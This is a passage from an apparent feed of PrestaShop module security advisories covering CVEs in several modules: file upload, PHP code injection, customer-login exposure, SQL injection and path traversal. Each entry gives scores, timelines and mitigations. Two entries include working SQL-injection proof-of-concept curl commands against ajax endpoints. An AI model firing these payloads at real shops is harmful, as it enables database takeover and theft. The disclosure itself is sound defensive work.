<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Steal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>jamarketplace</strong>.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-27</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-27</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-05-27</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-05-03</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/creation-marketplace/18656-ja-marketplace.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33836">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “JA Marketplace” (jamarketplace) up to version 9.0.1 from JA Module for PrestaShop, a guest can upload files with extensions .php.]]></summary></entry><entry><title type="html">[CVE-2024-36679] Improper Control of Generation of Code in Module Live Chat Pro (All in One Messaging) module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/livechatpro.html" rel="alternate" type="text/html" title="[CVE-2024-36679] Improper Control of Generation of Code in Module Live Chat Pro (All in One Messaging) module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/livechatpro</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/livechatpro.html"><![CDATA[<p>In the module “Module Live Chat Pro (All in One Messaging)” (livechatpro), a guest can perform PHP Code injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36679">CVE-2024-36679</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: livechatpro</li>
  <li><strong>Impacted release</strong>: &lt;= 8.4.0 (see WARNING below)</li>
  <li><strong>Product author</strong>: ProQuality</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a></li>
  <li><strong>Severity</strong>: critical (10.0)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a predictable token, the method <code class="language-plaintext highlighter-rouge">Lcp::saveTranslations()</code> suffer of a white writer that can inject PHP code into a PHP file which will lead to critical RCE.</p>

<p><strong>WARNING</strong> : Author refuse to patch the vulnerability so you should consider to uninstall it. There is strong design issue which cannot be fixed by a hotfix. Version tagged as impacted is the only version we had time to produce a POC for it, author has updated things in newer versions but its token is still predictable. So you should consider that all versions are impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Complete takeover</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete this module.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-02</td>
      <td>Relaunch for patch</td>
    </tr>
    <tr>
      <td>2024-04-17</td>
      <td>Relaunch for patch</td>
    </tr>
    <tr>
      <td>2024-05-29</td>
      <td>PrestaShop Addons put offline the module</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/support-chat-online/18967-live-chat-pro-all-in-one-messaging.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36679">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Module Live Chat Pro (All in One Messaging)” (livechatpro), a guest can perform PHP Code injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36677] Exposure of Private Personal Information to an Unauthorized Actor in Weblir - Login as customer PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/loginascustomerpro.html" rel="alternate" type="text/html" title="[CVE-2024-36677] Exposure of Private Personal Information to an Unauthorized Actor in Weblir - Login as customer PRO module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/loginascustomerpro</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/loginascustomerpro.html"><![CDATA[<p>In the module “Login as customer PRO” (loginascustomerpro) from Weblir for PrestaShop, a guest can access direct link to connect to each customer account of the Shop if the module is not installed OR if a secret accessible to administrator is stolen.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36677">CVE-2024-36677</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: loginascustomerpro</li>
  <li><strong>Impacted release</strong>: &lt; 1.2.7 (1.2.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Weblir</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p><em>Foreword : we are forced to tag privilege NONE on the CVSS 3.1 score which make it a high vulnerability since it will be high if the module has never been installed OR (if the LOGINASCUSTOMERPRO_TOKEN configuration do not exist OR is empty), but keep in mind that for the majority of installations, the gravity is low</em></p>

<p>The script PHP ajax.php allow to exfiltrate links to connect to all customer’s accounts.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>loginascustomerpro</strong>.</li>
  <li>You should restrict access to this URI pattern : modules/loginascustomerpro/ajax.php to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-13</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-03-13</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-13</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-04-12</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/social-login-connect/48805-login-as-customer-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36677">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Login as customer PRO” (loginascustomerpro) from Weblir for PrestaShop, a guest can access direct link to connect to each customer account of the Shop if the module is not installed OR if a secret accessible to administrator is stolen.]]></summary></entry><entry><title type="html">[CVE-2024-36684] Improper neutralization of SQL parameter in Promokit.eu - Custom links module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/pk_customlinks.html" rel="alternate" type="text/html" title="[CVE-2024-36684] Improper neutralization of SQL parameter in Promokit.eu - Custom links module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/pk_customlinks</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/pk_customlinks.html"><![CDATA[<p>In the module “Custom links” (pk_customlinks) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36684">CVE-2024-36684</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pk_customlinks</li>
  <li><strong>Impacted release</strong>: &lt;= 2.3 (see WARNING below)</li>
  <li><strong>Product author</strong>: Promokit.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php have a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Versions declared as impacted are versions where we confirmed critical issue. Author don’t know which exacts versions are impacted, he only said us that it was a long time ago. Author refuse to provide the last version to let us check that all is fixed. So you should consider that all versions can be impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pk_customlinks</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author don’t know which version is impacted but confirm us that it was a long time ago</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author refuse to provide us the last version to check if it is fixed</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://promokit.eu/">Author product page</a></li>
  <li><a href="https://themeforest.net/user/promokit">Theme forest author page</a></li>
  <li><a href="https://themeforest.net/item/alysum-premium-responsive-prestashop-16-theme/2622574">Theme forest product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36684">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Custom links” (pk_customlinks) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36678] Improper neutralization of SQL parameter in Promokit.eu - Theme settings module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/pk_themesettings.html" rel="alternate" type="text/html" title="[CVE-2024-36678] Improper neutralization of SQL parameter in Promokit.eu - Theme settings module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/pk_themesettings</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/pk_themesettings.html"><![CDATA[<p>In the module “Theme settings” (pk_themesettings) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36678">CVE-2024-36678</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pk_themesettings</li>
  <li><strong>Impacted release</strong>: &lt;= 1.8.8 (see WARNING below)</li>
  <li><strong>Product author</strong>: Promokit.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script ajax.php have a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Versions declared as impacted are versions where we confirmed critical issue. Author don’t know which exacts versions are impacted, he only said us that it was a long time ago. Author refuse to provide the last version to let us check that all is fixed. So you should consider that all versions can be impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/pk_themesettings/ajax.php?id=1&amp;customer=1&amp;lang_id=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pk_themesettings</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author don’t know which version is impacted but confirm us that it was a long time ago</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author refuse to provide us the last version to check if it is fixed</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://promokit.eu/">Author product page</a></li>
  <li><a href="https://themeforest.net/user/promokit">Theme forest author page</a></li>
  <li><a href="https://themeforest.net/item/alysum-premium-responsive-prestashop-16-theme/2622574">Theme forest product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36678">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme settings” (pk_themesettings) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36680] Improper neutralization of SQL parameter in Promokit.eu - Facebook module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/18/pkfacebook.html" rel="alternate" type="text/html" title="[CVE-2024-36680] Improper neutralization of SQL parameter in Promokit.eu - Facebook module for PrestaShop" /><published>2024-06-18T00:00:00+00:00</published><updated>2024-06-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/18/pkfacebook</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/18/pkfacebook.html"><![CDATA[<p>In the module “Facebook” (pkfacebook) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36680">CVE-2024-36680</a></li>
  <li><strong>Published at</strong>: 2024-06-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pkfacebook</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.1 (see WARNING 2 below)</li>
  <li><strong>Product author</strong>: Promokit.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The ajax script facebookConnect.php have a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING 1</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p><strong>WARNING 2</strong> : Versions declared as impacted are versions where we confirmed critical issue. Author don’t know which exacts versions are impacted, he only said us that it was a long time ago. Author refuse to provide the last version to let us check that all is fixed. So you should consider that all versions can be impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.X/modules/pkfacebook/ajax/facebookConnect.php?id=1"</span><span class="p">;</span><span class="k">select</span><span class="o">(</span>0x73656C65637420736C656570283432293B<span class="o">)</span>INTO@a<span class="p">;</span>prepare<span class="sb">`</span>b<span class="sb">`</span>from@a<span class="p">;</span>execute<span class="sb">`</span>b<span class="sb">`</span><span class="p">;</span><span class="nt">--</span>&amp;email<span class="o">=</span><span class="nb">test</span>@test.fr
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pkfacebook</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author don’t know which version is impacted but confirm us that it was a long time ago</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author refuse to provide us the last version to check if it is fixed</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://promokit.eu/portfolio/products/prestashop-facebook/">Author product page</a></li>
  <li><a href="https://themeforest.net/user/promokit">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36680">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Facebook” (pkfacebook) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33274] Improper Limitation of a Pathname to a Restricted Directory in FME Modules - Custom Checkout Fields, Add Custom Fields to Checkout module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/29/customfields.html" rel="alternate" type="text/html" title="[CVE-2024-33274] Improper Limitation of a Pathname to a Restricted Directory in FME Modules - Custom Checkout Fields, Add Custom Fields to Checkout module for PrestaShop" /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/29/customfields</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/29/customfields.html"><![CDATA[<p>In the module “Custom Checkout Fields, Add Custom Fields to Checkout” (customfields) up to version 2.2.7 from FME Modules for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33274">CVE-2024-33274</a></li>
  <li><strong>Published at</strong>: 2024-04-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: customfields</li>
  <li><strong>Impacted release</strong>: &lt;= 2.2.7 (2.2.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to predictable token and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p><strong>WARNING</strong> : This exploit use a base64 payload so it will bypass some WAF. Be informed too that it could be used with a dangerous chain attack based on phar wrapper implicit deserialization (see recommendations below)</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : Be warned that the last version could still be exploited to exfiltrate files whose path does not contain “php”.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
